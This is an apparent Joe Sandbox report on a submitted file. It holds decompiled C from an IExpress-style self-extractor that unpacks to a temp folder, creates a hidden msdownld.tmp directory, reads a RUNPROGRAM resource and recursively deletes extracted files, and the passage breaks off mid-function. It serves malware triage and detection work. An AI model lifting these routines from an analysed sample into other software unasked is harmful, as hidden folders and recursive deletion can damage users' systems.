API String ID: 1305606123-2642027498
Opcode ID: 589046182439d1548d783592bda2ed50a4b139a6e50eeb54473ae403e664cad0
Instruction ID: d2cba7f7dbfe31ca3088c51dd21f5216d515841de65e03c0c6da2e902e2ca1ff
Opcode Fuzzy Hash: 589046182439d1548d783592bda2ed50a4b139a6e50eeb54473ae403e664cad0
Instruction Fuzzy Hash: 5F3108B3642702BBEB235B72FD8AF6737ACA708745F050417F901A6391DAB49C408660

Uniqueness

Uniqueness Score: -1.00%

Function 003D2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E003D2F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t9 ^ _t46;
				if( *0x3d8a38 != 0) {
					L5:
					_t11 = E003D5164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E003D6CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E003D55A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E003D658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x3da288("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x3d8a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0x3d8a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x3d8d48 & 0x000000c0;
									if(( *0x3d8d48 & 0x000000c0) == 0) {
										_t41 =  *0x3d9a40; // 0x3, executed
										_t26 = E003D256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0x3d8a24; // 0x0
									 *0x3d9a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x3d8a38;
										if( *0x3d8a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E003D4169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x3d9a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E003D3BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x3d8a24; // 0x0
										goto L26;
									}
								}
								_t27 = E003D3B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E003D44B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x3d9124 = E003D6285();
							goto L16;
						}
						_t59 =  *0x3d9a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E003D621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0x3d8a24;
				if( *0x3d8a24 != 0) {
					L4:
					_t34 = E003D3A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E003D51E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x3d8a38;
				if( *0x3d8a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x003d2f1d
0x003d2f28
0x003d2f2f
0x003d2f3d
0x003d2f6c
0x003d2f6c
0x003d2f71
0x003d2f73
0x003d3041
0x003d3041
0x003d3043
0x003d3053
0x003d3053
0x003d2f79
0x003d2f80
0x00000000
0x003d2f86
0x003d2f86
0x003d2f93
0x003d2f9e
0x003d2fa0
0x003d2fa6
0x003d2fb8
0x003d2fba
0x003d2fbe
0x003d2fc6
0x003d2fcc
0x003d2fd4
0x003d2fd6
0x003d2fd8
0x003d2fe0
0x003d2fe6
0x003d2fee
0x003d2ff0
0x003d2ff5
0x003d2ff5
0x003d2fee
0x003d2fd4
0x003d2ff8
0x003d2ffe
0x003d3004
0x003d3017
0x003d301c
0x003d3024
0x003d3054
0x003d305a
0x003d3065
0x003d3065
0x003d306c
0x003d306e
0x003d3075
0x003d307a
0x003d307a
0x003d307c
0x003d3081
0x003d3087
0x003d3089
0x003d30a1
0x003d30a1
0x003d30a9
0x003d30ab
0x003d30ad
0x003d30af
0x003d30af
0x003d30ad
0x003d30b6
0x00000000
0x003d308b
0x003d308b
0x003d3091
0x00000000
0x00000000
0x003d3093
0x003d3098
0x003d309a
0x00000000
0x00000000
0x003d309c
0x00000000
0x003d309c
0x003d3089
0x003d305c
0x003d3061
0x003d3063
0x00000000
0x00000000
0x00000000
0x003d3063
0x003d302b
0x003d3032
0x003d303c
0x00000000
0x003d303c
0x003d3006
0x003d300c
0x00000000
0x00000000
0x003d300e
0x003d3015
0x00000000
0x00000000
0x00000000
0x003d3015
0x003d2f80
0x003d2f3f
0x003d2f46
0x003d2f5f
0x003d2f5f
0x003d2f64
0x003d2f66
0x00000000
0x00000000
0x00000000
0x003d2f66
0x003d2f4f
0x00000000
0x00000000
0x003d2f55
0x003d2f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 003D2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 003D2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 003D2FC6
DecryptFileA.ADVAPI32 ref: 003D2FE6
FreeLibrary.KERNEL32(00000000), ref: 003D2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D301C

Part of subcall function 003D51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003D2F4D,?,00000002,00000000), ref: 003D5201

Strings

DecryptFileA, xrefs: 003D2FC0
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D2FDB, 003D3017
advapi32.dll, xrefs: 003D2F99

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-3095882572
Opcode ID: 154b302145a4fb300af673b1007288d605d4811d9304e1c4425f3910ead0fcaa
Instruction ID: 8370b2098c0628199cbf0ed3f6f95994e6bd29e74ae05128db6850668bc13ac6
Opcode Fuzzy Hash: 154b302145a4fb300af673b1007288d605d4811d9304e1c4425f3910ead0fcaa
Instruction Fuzzy Hash: 9141F533A022159BDB33AB71BD46B6A33ADEB54751F010427E942C6391EF74CF84CA62

Uniqueness

Uniqueness Score: -1.00%

Function 003D5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E003D5467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x3d91e4;
					_t42 = 0x104;
					E003D1680(0x3d91e4, 0x104);
					L14:
					_t13 = E003D58C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x3d9124 = 0;
							_t14 = 1;
							L24:
							return E003D6CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E003D597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x3d8a20; // 0x0
						if(_t61 != 0) {
							 *0x3d8a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x3d9124 = E003D6285();
						goto L22;
					}
					 *0x3d8a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E003D53A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x3d91e4;
				E003D1781(0x3d91e4, 0x104, __ecx,  &_v268);
				if(( *0x3d9a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E003D658A(_t48, 0x104, 0x3d1140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E003D658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x003d5472
0x003d5479
0x003d5481
0x003d5484
0x003d551c
0x003d5521
0x003d5528
0x003d552d
0x003d552f
0x003d5539
0x003d554d
0x003d554d
0x003d5552
0x003d5585
0x003d5585
0x003d558b
0x003d558d
0x003d559d
0x003d559d
0x003d5557
0x003d555e
0x00000000
0x00000000
0x003d5560
0x003d5566
0x003d5569
0x003d556f
0x003d556f
0x003d5581
0x003d5581
0x00000000
0x003d5581
0x003d5545
0x003d557c
0x00000000
0x003d557c
0x003d5547
0x00000000
0x003d5547
0x003d548a
0x003d5490
0x003d5497
0x00000000
0x00000000
0x003d549d
0x003d54ab
0x003d54b4
0x003d54c0
0x003d550c
0x003d5511
0x003d5515
0x00000000
0x003d5515
0x003d54c9
0x003d54d6
0x003d54d8
0x003d54fe
0x003d5503
0x003d5507
0x00000000
0x003d5507
0x003d54da
0x003d54dd
0x003d54f7
0x00000000
0x003d54f7
0x003d54df
0x003d54e2
0x003d54f0
0x00000000
0x003d54f0
0x003d54e7
0x00000000
0x00000000
0x003d54e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D54C9
CreateDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D553D
RemoveDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D556F

Part of subcall function 003D53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D53FB
Part of subcall function 003D53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5402
Part of subcall function 003D53A1: GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D541F
Part of subcall function 003D53A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D542B
Part of subcall function 003D53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5434

Strings

mips, xrefs: 003D54F7
i386, xrefs: 003D54FE
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D547D, 003D5481, 003D54AB, 003D551C, 003D553C, 003D5568
ppc, xrefs: 003D54E9
alpha, xrefs: 003D54F0

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3881341942
Opcode ID: 6fd1aab4667189c75a25a100938a45305b689cce75dc83fade92933d3a68f550
Instruction ID: 6cad5e8b03d1d673e775f44e22e528dde7a718cc1612a538fa359bc7fa552890
Opcode Fuzzy Hash: 6fd1aab4667189c75a25a100938a45305b689cce75dc83fade92933d3a68f550
Instruction Fuzzy Hash: D431E373B01A15ABCB139B69BC45ABE77AFAB82340F05012BE803C6790DB70CF418691

Uniqueness

Uniqueness Score: -1.00%

Function 003D2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E003D2390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x3d8004; // 0xf4fc83b5
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E003D6CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E003D1680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E003D16B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E003D1680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E003D16B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E003D16B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E003D658A( &_v280, 0x104, 0x3d1140);
								E003D2390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x003d2398
0x003d239e
0x003d23a3
0x003d23a5
0x003d23ae
0x003d23b3
0x003d24cb
0x003d24d2
0x003d24d3
0x003d24d4
0x003d24df
0x003d23c2
0x003d23d1
0x003d23db
0x003d23e4
0x003d23f6
0x003d23fc
0x003d2401
0x00000000
0x00000000
0x00000000
0x00000000
0x003d2407
0x003d2407
0x003d2408
0x003d2411
0x003d241f
0x003d247a
0x003d2483
0x003d2495
0x003d24a3
0x003d2421
0x003d242f
0x003d2453
0x003d245d
0x003d2466
0x003d2472
0x003d2472
0x003d242f
0x003d24af
0x003d24b5
0x003d24be
0x003d24c5
0x00000000
0x003d24c5

APIs

FindFirstFileA.KERNELBASE(?,003D8A3A,003D11F4,003D8A3A,00000000,?,?), ref: 003D23F6
lstrcmpA.KERNEL32(?,003D11F8), ref: 003D2427
lstrcmpA.KERNEL32(?,003D11FC), ref: 003D243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 003D2495
DeleteFileA.KERNEL32(?), ref: 003D24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 003D24AF
FindClose.KERNELBASE(00000000), ref: 003D24BE
RemoveDirectoryA.KERNELBASE(003D8A3A), ref: 003D24C5

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 2fbb3fb50112452bcbae29dac322fd37f88278e51cebe5d5b63712f3f4427b6e
Instruction ID: 15d50771702b26fa130c95e843856f33bed148e8681e0f1144e8d77524fbc43d
Opcode Fuzzy Hash: 2fbb3fb50112452bcbae29dac322fd37f88278e51cebe5d5b63712f3f4427b6e
Instruction Fuzzy Hash: D5317233605640ABC323DBA4FD89AEB73ACAFD4705F04492FF95586390EB7499098752

Uniqueness

Uniqueness Score: -1.00%

Function 003D2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E003D2BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x3da288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x3d9124 = 0;
				if(E003D2CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E003D2F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E003D52B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x3d8a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x3d9a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E003D1F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x3d8588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x3d9124; // 0x0
				return _t7;
			}

0x003d2c03
0x003d2c0d
0x003d2c18
0x003d2c20
0x003d2c2e
0x003d2c32
0x003d2c36
0x003d2c3d
0x003d2c43
0x003d2c45
0x003d2c47
0x003d2c49
0x003d2c4e
0x003d2c4e
0x003d2c47
0x003d2c32
0x003d2c20
0x003d2c50
0x003d2c54
0x003d2c57
0x003d2c64
0x003d2c66
0x003d2c6b
0x003d2c6d
0x003d2c74
0x003d2c76
0x003d2c7c
0x003d2c7e
0x003d2c87
0x003d2c89
0x003d2c89
0x003d2c87
0x003d2c7c
0x003d2c74
0x003d2c8e
0x003d2c95
0x003d2c98
0x003d2c98
0x003d2c9e
0x003d2ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,003D6BB0,003D0000,00000000,00000002,0000000A), ref: 003D2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,003D6BB0,003D0000,00000000,00000002,0000000A), ref: 003D2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 003D2C28
CloseHandle.KERNEL32(00000000,?,?,003D6BB0,003D0000,00000000,00000002,0000000A), ref: 003D2C98

Strings

HeapSetInformation, xrefs: 003D2C22
Kernel32.dll, xrefs: 003D2C13

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: d7dc738dac340851708a809d416ba39d7be189b03a8292236c6c05ec288c4fe2
Instruction ID: 70be843c4de999e1e0f2c0a1dffc35b6cd30df3e56b2aa6db75099e23d4f91a9
Opcode Fuzzy Hash: d7dc738dac340851708a809d416ba39d7be189b03a8292236c6c05ec288c4fe2
Instruction Fuzzy Hash: FC11EC736222056BC7236BB5BD89A6F376DABA8380F060417F810D7354CA21DC018661

Uniqueness

Uniqueness Score: -1.00%

Function 003D6F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D6F40() {

				SetUnhandledExceptionFilter(E003D6EF0); // executed
				return 0;
			}

0x003d6f45
0x003d6f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 003D6F45

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8c6f037d730ed5f679021c7fb2cd34166d71ea476613bf899ca28b64eadd7d12
Instruction ID: 1b0c9f09e24784cc42c6f60c8b1835d67b734b2f60c2e1d0b104d5f550566850
Opcode Fuzzy Hash: 8c6f037d730ed5f679021c7fb2cd34166d71ea476613bf899ca28b64eadd7d12
Instruction Fuzzy Hash: B69002652525009796121B70BF1A45577995A4D743F815462E021C4594DB6040405512

Uniqueness

Uniqueness Score: -1.00%

Function 003D55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E003D55A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t28 ^ _t110;
				_t2 = E003D468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E003D468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x3d9a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x3d8b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x3d8a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E003D6517(_t82, 0x7d2, 0, E003D3210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x3d9a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x3d91e4;
									_t40 = GetTempPathA(0x104, 0x3d91e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E003D1781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E003D6952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E003D597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E003D2630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E003D658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x3d91e4;
																					E003D1781(0x3d91e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E003D5467(0x3d91e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E003D2630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E003D597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
